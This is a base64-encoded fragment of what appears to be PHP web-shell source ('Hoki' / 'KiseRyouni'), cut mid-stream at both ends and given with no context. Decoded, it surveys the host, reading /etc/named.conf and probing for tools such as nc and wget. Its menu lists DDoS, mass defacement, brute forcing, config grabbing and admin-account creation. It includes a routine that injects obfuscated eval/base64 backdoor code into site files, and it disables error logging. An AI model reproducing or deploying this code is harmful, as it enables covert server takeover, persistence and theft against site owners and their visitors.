jwvdGQ+Cjx0ZCB3aWR0aD0iNzYlIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl9kb21haW5zIj4nOwppZigkR0xPQkFMU1snc3lzJ109PSd1bml4Jyl7CiRkMG1haW5zID0gX2hva2lfZmlsZSgiL2V0Yy9uYW1lZC5jb25m
IixmYWxzZSk7CmlmKCEkZDBtYWlucyl7ZWNobyAiQ2FudCBSZWFkIFsgL2V0Yy9uYW1lZC5jb25mIF0iOyRHTE9CQUxTWyJuZWVkX3RvX3VwZGF0ZV9oZWFkZXIiXT0idHJ1ZSI7fWVsc2V7CiRjb3VudD0wOwpmb3JlYWNoKCRkMG1haW5zIGFzICR
kMG1haW4pewppZihAc3Ryc3RyKCRkMG1haW4sInpvbmUiKSl7CnByZWdfbWF0Y2hfYWxsKCcjem9uZSAiKC4qKSIjJywgJGQwbWFpbiwgJGRvbWFpbnMpOwpmbHVzaCgpOwppZihzdHJsZW4odHJpbSgkZG9tYWluc1sxXVswXSkpID4gMil7CmZsdX
NoKCk7CiRjb3VudCsrO319fQplY2hvICIkY291bnQgRG9tYWlucyI7fX0KZWxzZXtlY2hvKCJDYW50IFJlYWQgWyAvZXRjL25hbWVkLmNvbmYgXSIpO30KZWNobyAnPC9zcGFuPjwvdGQ+CjwvdHI+Cjx0cj4KPHRkIGhlaWdodD0iMTYiPjxzcGFuI
GNsYXNzPSJoZWFkZXJfdmFycyI+SEREOjwvc3Bhbj48L3RkPgo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Ub3RhbDo8L3NwYW4+PGI+Jy5ob2tpU2l6ZSgkdG90YWxTcGFjZSkuJyA8L2I+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5G
cmVlOjwvc3Bhbj48Yj4nIC4gaG9raVNpemUoJGZyZWVTcGFjZSkgLiAnIFsnLiAoaW50KSAoJGZyZWVTcGFjZS8kdG90YWxTcGFjZSoxMDApIC4gJyVdPC9iPjwvdGQ+CjwvdHI+JzsKaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcpewokdXNlZnV
sX2Rvd25sb2FkZXIgPSAnPHRyPjx0ZCBoZWlnaHQ9IjE4IiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPnVzZWZ1bDo8L3NwYW4+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfdXNlZnVsIj4tLS0tLS
0tLS0tLS0tLTwvc3Bhbj48L3RkPjwvdHI+PHRkIGhlaWdodD0iMCIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Eb3dubG9hZGVyOiA8L3NwYW4+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfZG93b
mxvYWRlciI+LS0tLS0tLS0tLS0tLS08L3NwYW4+PC90ZD48L3RyPic7CmlmKCFAaW5pX2dldCgnc2FmZV9tb2RlJykpewppZihzdHJsZW4oaG9raUV4KCJpZCIsZmFsc2UsZmFsc2UpKT4wKXsKZWNobyAnPHRyPjx0ZCBoZWlnaHQ9IjE4IiBjb2xz
cGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlVzZWZ1bCA6IDwvc3Bhbj4nOwokdXNlcmZ1bCA9IGFycmF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbWFrZScsJ3BocCcsJ3BlcmwnLCdweXRob24nLCdydWJ5JywndGFyJywnZ3ppcCc
sJ2J6aXAnLCdiemlob2tpMicsJ25jJywnbG9jYXRlJywnc3VpZHBlcmwnKTsKJHg9MDsKZm9yZWFjaCgkdXNlcmZ1bCBhcyAkaXRlbSlpZihob2tpV2hpY2goJGl0ZW0pKXskeCsrO2VjaG8gJzxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBzdH
lsZT0ibWFyZ2luLWxlZnQ6IDRweDsiPicuJGl0ZW0uJzwvc3Bhbj4nO30KaWYoJHg9PTApe2VjaG8gIjxzcGFuIGNsYXNzPSdoZWFkZXJfdmFsdWVzJyBpZD0naGVhZGVyX3VzZWZ1bCc+LS0tLS0tLS0tLS0tLS08L3NwYW4+IjskR0xPQkFMU1sib
mVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7fQplY2hvICc8L3RkPgo8L3RyPgo8dHI+Cjx0ZCBoZWlnaHQ9IjAiIGNvbHNwYW49IjIiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RG93bmxvYWRlcjogPC9zcGFuPic7CiRkb3dubG9h
ZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOwokeD0wOwpmb3JlYWNoKCRkb3dubG9hZGVycyBhcyAkaXRlbTIpaWYoaG9raVdoaWNoKCRpdGVtMikpeyR4Kys7ZWNobyA
nPHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIHN0eWxlPSJtYXJnaW4tbGVmdDogNHB4OyI+Jy4kaXRlbTIuJzwvc3Bhbj4nO30KaWYoJHg9PTApe2VjaG8gIjxzcGFuIGNsYXNzPSdoZWFkZXJfdmFsdWVzJyBpZD0naGVhZGVyX2Rvd25sb2FkZX
InPi0tLS0tLS0tLS0tLS0tPC9zcGFuPiI7JEdMT0JBTFNbIm5lZWRfdG9fdXBkYXRlX2hlYWRlciJdID0gInRydWUiO30KZWNobyAnPC90ZD4KPC90cj4nOwp9ZWxzZXsKZWNobyAkdXNlZnVsX2Rvd25sb2FkZXI7JEdMT0JBTFNbIm5lZWRfdG9fd
XBkYXRlX2hlYWRlciJdID0gInRydWUiOwp9Cn1lbHNlewplY2hvICR1c2VmdWxfZG93bmxvYWRlcjskR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7Cn0KfWVsc2V7CmVjaG8gJzx0cj48dGQgaGVpZ2h0PSIxOCIgY29s
c3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5XaW5kb3dzOjwvc3Bhbj48Yj4nOwplY2hvIGhva2lFeCgndmVyJyxmYWxzZSxmYWxzZSk7CmVjaG8gJzwvdGQ+CjwvdHI+IDx0cj4KPHRkIGhlaWdodD0iMCIgY29sc3Bhbj0iMiI+PHN
wYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Eb3dubG9hZGVyOiA8L3NwYW4+PGI+LS0tLS0tLS0tLS0tLTwvYj48L3RkPgo8L3RyPjwvYj4nOwp9CiRxdW90ZXMgPSAoZnVuY3Rpb25fZXhpc3RzKCdnZXRfbWFnaWNfcXVvdGVzX2dwYycpP2dldF9tYW
dpY19xdW90ZXNfZ3BjKCk6JzAnKTtpZiAoJHF1b3RlcyA9PSAiMSIgb3IgJHF1b3RlcyA9PSAib24iKXskbWFnaWMgPSAnPGI+PHNwYW4gY2xhc3M9ImhlYWRlcl9vbiI+T048L3NwYW4+Jzt9ZWxzZXskbWFnaWMgPSAnPHNwYW4gY2xhc3M9ImhlY
WRlcl9vZmYiPk9GRjwvc3Bhbj4nO30KZWNobyAnPHRyPgo8dGQgaGVpZ2h0PSIxNiIgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5EaXNhYmxlIEZ1bmN0aW9uczogPC9zcGFuPjxiPicuSG9raV9HZXREaXNhYmxlX0Z1bmN0
aW9uKCkuJzwvYj48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBoZWlnaHQ9IjE2IiBjb2xzcGFuPSIyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkNVUkwgOjwvc3Bhbj4nLiRjdXJsLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNTSDIgOiA
8L3NwYW4+Jy4kc3NoMi4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5NYWdpYyBRdW90ZXMgOiA8L3NwYW4+Jy4kbWFnaWMuJyB8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IE15U1FMIDo8L3NwYW4+Jy4kbXlzcWwuJyB8IDxzcGFuIG
NsYXNzPSJoZWFkZXJfdmFycyI+TVNTUUwgOjwvc3Bhbj4nLiRtc3NxbC4nIHwgPHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj4gUG9zdGdyZVNRTCA6PC9zcGFuPicuJHBnLicgfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBPcmFjbGUgOjwvc
3Bhbj4nLiRvci4nICcuKCRHTE9CQUxTWydzeXMnXT09InVuaXgiPyd8IDxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IENHSSA6PC9zcGFuPiAnLiRjZ2lfc2hlbGw6IiIpLic8L3RkPjx0ZCB3aWR0aD0iMTUlIj48ZGl2IGlkPSJob2tpX2tpc2Vy
eW91bmkiPjxjZW50ZXI+PGEgaHJlZj0iaHR0cHM6Ly90Lm1lL2tpc2VyeW91bmkiIHRhcmdldD0iX2JsYW5rIj48c3Bhbj48Zm9udCBjbGFzcz0ia2lzZXJ5b3VuaS10ZXh0IiBjb2xvcj0iIzBGMCI+S2lzZVJ5b3VuaSAmIEhva2kzMDM8L2ZvbnQ
+PC9zcGFuPjwvYT48L2NlbnRlcj48L2Rpdj48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBoZWlnaHQ9IjExIiBjb2xzcGFuPSIzIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPk9wZW5fYmFzZWRpciA6PC9zcGFuPjxiPicuJG9wZW5fYi4nPC9iPiB8ID
xzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+U2FmZV9tb2RlX2V4ZWNfZGlyIDo8L3NwYW4+PGI+Jy4kc2FmZV9leGUuJzwvYj4gfCA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBTYWZlX21vZGVfaW5jbHVkZV9kaXIgOjwvc3Bhbj48L2I+Jy4kc
2FmZV9pbmNsdWRlLic8L2I+PC90ZD4KPC90cj4KPHRyPgo8dGQgaGVpZ2h0PSIxMSI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Tb2Z0V2FyZTogPC9zcGFuPjwvdGQ+Cjx0ZCBjb2xzcGFuPSIyIj48Yj4nLkBnZXRlbnYoJ1NFUlZFUl9TT0ZU
V0FSRScpLic8L2I+PC90ZD4KPC90cj4nOwppZigkR0xPQkFMU1snc3lzJ109PSJ3aW4iKXsKZWNobyAnPHRyPgo8dGQgaGVpZ2h0PSIxMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5EUklWRTo8L3NwYW4+PC90ZD4KPHRkIGNvbHNwYW49IjI
iPjxiPicuJGRyaXZlcy4nPC9iPjwvdGQ+CjwvdHI+JzsKfQplY2hvICc8dHI+Cjx0ZCBoZWlnaHQ9IjEyIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlBXRDo8L3NwYW4+PC90ZD4KPHRkIGNvbHNwYW49IjIiPjxzcGFuIGlkPSJoZWFkZXJfY3
dkIj4nLiRjd2RfbGlua3MuJyA8L3NwYW4+PGEgaHJlZj0iI2FjdGlvbj1maWxlbWFuJnBhdGg9Jy4kR0xPQkFMU1snaG9tZV9jd2QnXS4nIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycgLiAkR0xPQkFMU1snaG9tZV9jd2QnXSAuICdcJyxcJ
1wnLFwnXCcsXCdcJykiPjxzcGFuIGNsYXNzPSJob21lX3NoZWxsIj5bIEhvbWUgU2hlbGwgXTwvc3Bhbj4gPC9hPjwvdGQ+CjwvdHI+CjwvdGFibGU+CjwvZGl2Pgo8ZGl2IGlkPSJtZXVubGlzdCI+Cjx1bD4KJzsKJGxpID0gYXJyYXkoJ3Byb2Mn
PT4nUHJvY2VzcycsJ3BocGV2YWwnPT4nRXZhbCcsJ3NxbCc9PidTUUwgTWFuYWdlcicsJ2R1bXBlcic9PidEYXRhYmFzZSBEdW1wZXInLCdjb2xkdW1wZXInPT4nQ29sdW1uIER1bXBlcicsJ2hhc2gnPT4nRW4tRGVjb2RlcicsJ2Nvbm5lY3QnPT4
nQkMnLAonem9uZWgnPT4nWk9ORS1IJywnZG9zJz0+J0RET1MnLCdzYWZlJz0+J0J5UGFzc2VyJywnY2dpc2hlbGwnPT4nQ2dpIFNoZWxsJywnc3NpU2hlbGwnPT4nU1NJIFNIRUxMJywnY3BjcmFjayc9PidIYXNoIFRvb2xzJywKJ3BvcnRzY2Fubm
VyJz0+J1BvcnQgU2NhbmVyJywnYmFzZWRpcic9PidPcGVuIEJhc2VEaXInLCdtYWlsJz0+J0Zha2UgTWFpbCcsJ3ppcGVyJz0+J0NvbXByZXNzb3InLCdkZXppcGVyJz0+J0RlQ29tcHJlc3NvcicsJ0luZGV4Q2hhbmdlcic9PidJbmRleCBDaGFuZ
2VyJywncHdjaGFuZ2VyJz0+J0FkZCBOZXcgQWRtaW4nLCdTaGVsbEluamVjdG9ycyc9PidTaGVsbCBJbmplY3RvcnMnLAoncGhwMnhtbCc9PidQSFAyWE1MJywnY2xvdWRmbGFyZSc9PidDbG91ZEZsYXJlJywnV2htY3MnPT4nV2htY3MgRGVDb2Rl
cicsJ3N5bWxpbmsnPT4nU3ltbGluaycsJ01hc3NEZWZhY2VyJz0+J01hc3MgRGVmYWNlcicsJ0NyYWNrZXJzJz0+J0JydXRlRm9yY2VyJywnc2VhcmNoZXInPT4nU2VhcmNoZXInLCdjb25maWdfZ3JhYmJlcic9PidDb25maWcgR3JhYmJlcicsJ2Z
ha2VwYWdlJz0+J0Zha2UgUGFnZScsJ2FyY2hpdmVfbWFuYWdlcic9PidBcmNoaXZlIE1hbmFnZXInLAonY21zaGlqYWNrZXInPT4nQ01TIEhpamFja2VyJywncmVtb3RlZGwnPT4nUmVtb3RlIFVwbG9hZCcsJ2luYmFja2Rvb3InPT4nSW5zdGFsbC
BCYWNrRG9vcicsJ3dob2lzJz0+J1dob2lzJywnc2VsZnJtJz0+J1JlbW92ZSBTaGVsbCcKKTsKZm9yZWFjaCgkbGkgYXMgJGtleT0+JHZhbHVlKXsKZWNobygnPGxpPjxhIGlkPSJtZW51X29wdF8nLiRrZXkuJyIgaHJlZj0iI2FjdGlvbj1vcHRpb
25zJnBhdGg9Jy4kR0xPQkFMU1snY3dkJ10uJyZvcHQ9Jy4ka2V5LiciIGNsYXNzPSJtZW51X29wdGlvbnMiIG9uY2xpY2s9Imhva2lfY2FuX2FkZF9vcHQ9dHJ1ZTt0aGlzLmhyZWY9XCcjYWN0aW9uPW9wdGlvbnMmcGF0aD1cJytjXytcJyZvcHQ9
Jy4ka2V5LidcJztnKFwnJy4ka2V5LidcJyxudWxsLFwnXCcsXCdcJyxcJ1wnKTtkLnF1ZXJ5U2VsZWN0b3IoXCcub3B0LXRpdGxlXCcpLmlubmVySFRNTD10aGlzLmlubmVySFRNTDsiPicuJHZhbHVlLic8L2E+PC9saT4nLiJcbiIpOwp9CmVjaG8
gJzwvdWw+PGRpdiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyO3BhZGRpbmc6IDZweDsiPjxhIGlkPSJtZW51X29wdF9zZXR0aW5ncyIgaHJlZj0iI2FjdGlvbj1vcHRpb25zJnBhdGg9Jy4kR0xPQkFMU1snY3dkJ10uJyZvcHQ9c2V0dGluZ3MiIG
NsYXNzPSJtZW51X29wdGlvbnMiIG9uY2xpY2s9Imhva2lfY2FuX2FkZF9vcHQ9dHJ1ZTt0aGlzLmhyZWY9XCcjYWN0aW9uPW9wdGlvbnMmcGF0aD1cJytjXytcJyZvcHQ9c2V0dGluZ3NcJztnKFwnc2V0dGluZ3NcJyxudWxsLFwnXCcsXCdcJyxcJ
1wnKTtkLnF1ZXJ5U2VsZWN0b3IoXCcub3B0LXRpdGxlXCcpLmlubmVySFRNTD10aGlzLmlubmVySFRNTDsiPkhva2kgU2V0dGluZ3M8L2E+PGEgc3R5bGU9ImRpc3BsYXk6bm9uZTsiIGlkPSJtZW51X29wdF9tYXJrZXQiIGhyZWY9IiNhY3Rpb249
b3B0aW9ucyZwYXRoPScuJEdMT0JBTFNbJ2N3ZCddLicmb3B0PW1hcmtldCIgY2xhc3M9Im1lbnVfb3B0aW9ucyIgb25jbGljaz0iaG9raV9jYW5fYWRkX29wdD10cnVlO3RoaXMuaHJlZj1cJyNhY3Rpb249b3B0aW9ucyZwYXRoPVwnK2NfK1wnJm9
wdD1tYXJrZXRcJztnKFwnbWFya2V0XCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7ZC5xdWVyeVNlbGVjdG9yKFwnLm9wdC10aXRsZVwnKS5pbm5lckhUTUw9dGhpcy5pbm5lckhUTUw7Ij48c3BhbiBjbGFzcz0iaG9raV9wbHVzIj5Ib2tpIG1hcmtldD
wvc3Bhbj48L2E+PGEgaWQ9Im1lbnVfb3B0X2Fib3V0dXMiIGhyZWY9IiNhY3Rpb249b3B0aW9ucyZwYXRoPScuJEdMT0JBTFNbJ2N3ZCddLicmb3B0PWFib3V0dXMiIGNsYXNzPSJtZW51X29wdGlvbnMiIG9uY2xpY2s9Imhva2lfY2FuX2FkZF9vc
HQ9dHJ1ZTt0aGlzLmhyZWY9XCcjYWN0aW9uPW9wdGlvbnMmcGF0aD1cJytjXytcJyZvcHQ9YWJvdXR1c1wnO2coXCdhYm91dHVzXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7ZC5xdWVyeVNlbGVjdG9yKFwnLm9wdC10aXRsZVwnKS5pbm5lckhUTUw9
dGhpcy5pbm5lckhUTUw7Ij5BYm91dCBVczwvYT4nLighZW1wdHkoJF9DT09LSUVbJ0hva2lVc2VyJ10pICYmICFlbXB0eSgkX0NPT0tJRVsnSG9raVBhc3MnXSkgPyAnPGEgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iaG9raUx
vZ091dCgpOyI+PGZvbnQgY29sb3I9InJlZCI+TG9nT3V0PC9mb250PjwvYT4nOicnKS4nPC9kaXY+PC9kaXY+PGRpdiBpZD0iZmlsZXNtYW5fdGFicyI+PGRpdiBvbm1vdXNlb3Zlcj0iaG9raUZpbGVzbWFuVGFiU2hvd1RpdGxlKHRoaXMsZXZlbn
QpOyIgb25tb3VzZW91dD0iaG9raUZpbGVzbWFuVGFiSGlkZVRpdGxlKHRoaXMsZXZlbnQpOyIgZm1fY291bnRlcj0iMSIgcGF0aD0iJy4kR0xPQkFMU1snY3dkJ10uJyIgZm1faWQ9IjEiIGlkPSJmaWxlc21hbl90YWJfMSIgY2xhc3M9ImZpbGVzb
WFuX3RhYiBmaWxlc21hbi10YWItYWN0aXZlIiBvbmNsaWNrPSJmaWxlc21hblRhYkNvbnRyb2xsZXIodGhpcyk7Ij48aW1nIGNsYXNzPSJmb2xkZXItdGFiLWljb24iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2ZvbGRl
cjIuc3ZnIj4gPHNwYW4+RmlsZSBtYW5hZ2VyPC9zcGFuPjwvZGl2PjxkaXYgc3R5bGU9ImRpc3BsYXk6aW5saW5lLWJsb2NrOyIgaWQ9ImZpbGVzbWFuX3RhYnNfY2hpbGQiPjwvZGl2PjxkaXYgaWQ9ImZpbGVzbWFuX25ld190YWIiIGNsYXNzPSJ
maWxlc21hbl90YWIiIHN0eWxlPSJiYWNrZ3JvdW5kOiBtYXJvb247IiBvbkNsaWNrPSJob2tpRmlsZXNNYW5OZXdUYWIoY18sXCcvXCcsMSk7Ij5OZXcgVGFiICs8L2Rpdj48L2Rpdj4nO31lbHNlewpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIF4gRV
9OT1RJQ0UpOwpAaW5pX3NldCgnZXJyb3JfbG9nJyxOVUxMKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ21hZ2ljX3F1b3Rlc19ydW50aW1lJywgMCk7CkBzZXRfd
GltZV9saW1pdCgwKTsKfX0KZnVuY3Rpb24gaG9raWxvZ291dCgpewpAc2V0Y29va2llKCJIb2tpVXNlciIsIG51bGwsIDIwMTIpOwpAc2V0Y29va2llKCJIb2tpUGFzcyIsIG51bGwsIDIwMTIpOwp1bnNldCgkX0NPT0tJRVsnSG9raVVzZXInXSwk
X0NPT0tJRVsnSG9raVBhc3MnXSk7CmVjaG8oIm9rIik7Cn0KZnVuY3Rpb24gc2hvd0FuaW1hdGlvbigkbmFtZSl7CglyZXR1cm4gJy13ZWJraXQtYW5pbWF0aW9uOiAnLiRuYW1lLicgODAwbXMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7LW1vei1hbml
tYXRpb246ICcuJG5hbWUuJyA4MDBtcyBlYXNlLWluLW91dCBmb3J3YXJkczstbXMtYW5pbWF0aW9uOiAnLiRuYW1lLicgODAwbXMgZWFzZS1pbi1vdXQgZm9yd2FyZHM7YW5pbWF0aW9uOiAnLiRuYW1lLicgODAwbXMgZWFzZS1pbi1vdXQgZm9yd2
FyZHM7JzsKfQpmdW5jdGlvbiBfX3Nob3dpY29uKCRyKXsKCSRzWydidG4nXT0naHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAzMDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lY
WdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nJzsKCSRzWydob2tpbWluaSddPSdodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDMwOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdh
cnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmcnOwoJJHNbJ2xvYWRlciddPSdodHRwczovL3BuZy5wbmd0cmVlLmNvbS9wbmctY2xpcGFydC8yMDIzMDM
wOC9vdXJtaWQvcG5ndHJlZS1sb2dvLWdhcnVkYS1wYW5jYXNpbGEtcmVkLXdoaXRlLWVhZ2xlLWZvci1kZnQtcHJpbnQtZnJlZS1kb3dubG9hZC1wbmctaW1hZ2VfNjYzNzE1OS5wbmcnOwoJLy9yZXR1cm4gJ2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NC
wnLl9fZ2V0X3Jlc291cmNlKCRzWyRyXSk7CglyZXR1cm4gJHNbJHJdOwp9CmZ1bmN0aW9uIGhva2lpbmJhY2tkb29yKCl7Cmhva2loZWFkKCk7CmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZ
WFkZXIiPnwgSW5zdGFsbCBCYWNrRG9vciB8PC9kaXY+PC9wPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnaW5iYWNrZG9vclwnLG51bGwsXCdmaWxlXCcpIj58IEluIEZpbGUgfCA8L2E+PGEgaHJlZj1qYXZhc2Ny
aXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ2luYmFja2Rvb3JcJyxudWxsLFwnZGJcJykiPnwgSW4gRGF0YUJhc2UgfCA8L2E+PC9oMz48L2NlbnRlcj4nOwokZXJyb3IgPSAnPGZvbnQgY29sb3I9InJlZCI+RXJyb3IgSW4gSW5qZWN0IEJhY2tEb29
yLi4uITxicj5GaWxlIExvYWRlciBpcyBub3QgV3JpdGFibGUgT3IgTm90IEV4aXN0cy4uLiE8L2ZvbnQ+JzsKJHN1Y2Nlc3M9ICc8Zm9udCBjb2xvcj0iZ3JlZW4iPlN1Y2Nlc3MuLi4hJzsKJHRleHRhcmVhID0gIjxkaXYgc3R5bGU9J2Rpc3BsYX
k6bm9uZTsnIGlkPSdiYWNrZG9vcl90ZXh0YXJlYSc+PGRpdiBjbGFzcz0ndHh0Zm9udCc+WW91ciBTaGVsbDo8L2Rpdj48cD48dGV4dGFyZWEgbmFtZT0nc2hlbGwnIHJvd3M9JzE5JyBjb2xzPScxMDMnPjw/cGhwXG5cdGVjaG8oJ0hva2kgVGVhb
SBpcyBIZXJlLi4uIScpO1xuPz48L3RleHRhcmVhPjwvcD48L2Rpdj4iOwokc2VsZWN0ID0gIjxkaXYgY2xhc3M9J3R4dGZvbnQnPlVzZTo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdtZXRob2QnIHN0eWxlPSd3aWR0aDoxNTVweDsnIG9uQ2hhbmdlPSdp
bkJhY2tkb29yKHRoaXMpOyc+PG9wdGlvbiB2YWx1ZT0naG9raSc+SG9raSBUZWFtIFVwbG9hZGVyPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nbXknPk15IFByaXZhdGUgU2hlbGw8L29wdGlvbj48L3NlbGVjdD4iOwokY3dkID0gJ0V4YW1wbGU6IC9
ob21lL2hva2kvcHVibGljX2h0bWwvaW5kZXgucGhwJzsKaWYoJF9QT1NUWydob2tpMSddPT0nZmlsZScpewplY2hvKCI8Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEluIEZpbGUgfDwvZGl2PjwvcD48cD48Zm9ybSBvbn
N1Ym1pdD1cImcoJ2luYmFja2Rvb3InLG51bGwsJ2ZpbGUnLHRoaXMubWV0aG9kLnZhbHVlLHRoaXMuZmlsZS52YWx1ZSx0aGlzLnNoZWxsLnZhbHVlLHRoaXMua2V5LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+eyRzZWxlY3R9IDxkaXYgY2xhc3M9J
3R4dGZvbnQnPkJhY2tkb29yIExvYWRlcjo8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGUnIHNpemU9JzUwJyBwbGFjZWhvbGRlcj0neyRjd2R9Jz4gPGRpdiBjbGFzcz0ndHh0Zm9udCc+S2V5OiA8L2Rpdj4gPGlucHV0IHR5cGU9
J3RleHQnIG5hbWU9J2tleScgc2l6ZT0nMTAnIHZhbHVlPSdob2tpJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPnskdGV4dGFyZWF9PC9mb3JtPjwvcD48L2NlbnRlcj4iKTsKaWYoJF9QT1NUWydob2tpMiddIT0nJyYmJF9QT1NUWyd
ob2tpMyddIT0nJyYmJF9QT1NUWydob2tpNCddIT0nJyl7CiRtZXRob2QgPSAkX1BPU1RbJ2hva2kyJ107CiRmaWxlID0gJF9QT1NUWydob2tpMyddOwokc2hlbGwgPSAkX1BPU1RbJ2hva2k0J107CiRrZXkgPSBzdHJfcmVwbGFjZShhcnJheSgnIi
csJ1wnJyksJycsdHJpbSgkX1BPU1RbJ2hva2k1J10pKTsKaWYoJGtleT09JycpJGtleT0naG9raSc7CmlmKCRtZXRob2Q9PSdteScpeyRzaGVsbD1fX1pXNWpiMlJsY2coJHNoZWxsKTt9ZWxzZXskc2hlbGw9JEdMT0JBTFNbJ19fSE9LSV9TSEVMT
F9DT0RFJ107fQokY29kZSA9ICc8P3BocCBpZihpc3NldCgkX0dFVFsiaG9raSJdKSYmJF9HRVRbImhva2kiXT09IicuJGtleS4nIil7JGZ1bmM9ImNyIi4iZWEiLiJ0ZV8iLiJmdW4iLiJjdGlvbiI7JHg9JGZ1bmMoIlwkYyIsImUiLiJ2Ii4iYWwi
LiIoXCc/PlwnLmJhc2UiLiI2NCIuIl9kZWMiLiJvZGUoXCRjKSk7Iik7JHgoIicuJHNoZWxsLiciKTtleGl0O30/Pic7CmlmKEBpc19maWxlKCRmaWxlKSYmQGlzX3dyaXRhYmxlKCRmaWxlKSl7QGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlLCRjb2R
lLiJcbiIuQGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7X19hbGVydCgkc3VjY2Vzcy4iPGJyPlJ1biBXaXRoOiAiLmJhc2VuYW1lKCRmaWxlKS4iP2hva2k9Ii4ka2V5Lic8L2ZvbnQ+Jyk7fWVsc2V7X19hbGVydCgkZXJyb3IpO319fQppZigkX1
BPU1RbJ2hva2kxJ109PSdkYicpewplY2hvKCI8Y2VudGVyPjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEluIERhdGFCYXNlIHw8L2Rpdj48L3A+Ii5nZXRDb25maWdIdG1sKCdhbGwnKS4iPHA+PGZvcm0gb25zdWJtaXQ9XCJnKCdpb
mJhY2tkb29yJyxudWxsLCdkYicsdGhpcy5kYl9ob3N0LnZhbHVlLHRoaXMuZGJfdXNlcm5hbWUudmFsdWUsdGhpcy5kYl9wYXNzd29yZC52YWx1ZSx0aGlzLmRiX25hbWUudmFsdWUsdGhpcy5maWxlLnZhbHVlLHRoaXMubWV0aG9kLnZhbHVlLHRo
aXMuc2hlbGwudmFsdWUsdGhpcy5rZXkudmFsdWUpO3JldHVybiBmYWxzZTtcIj4iKTsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ2RiX2hvc3QgOiAnLCAnaW5wdXROYW1lJyA
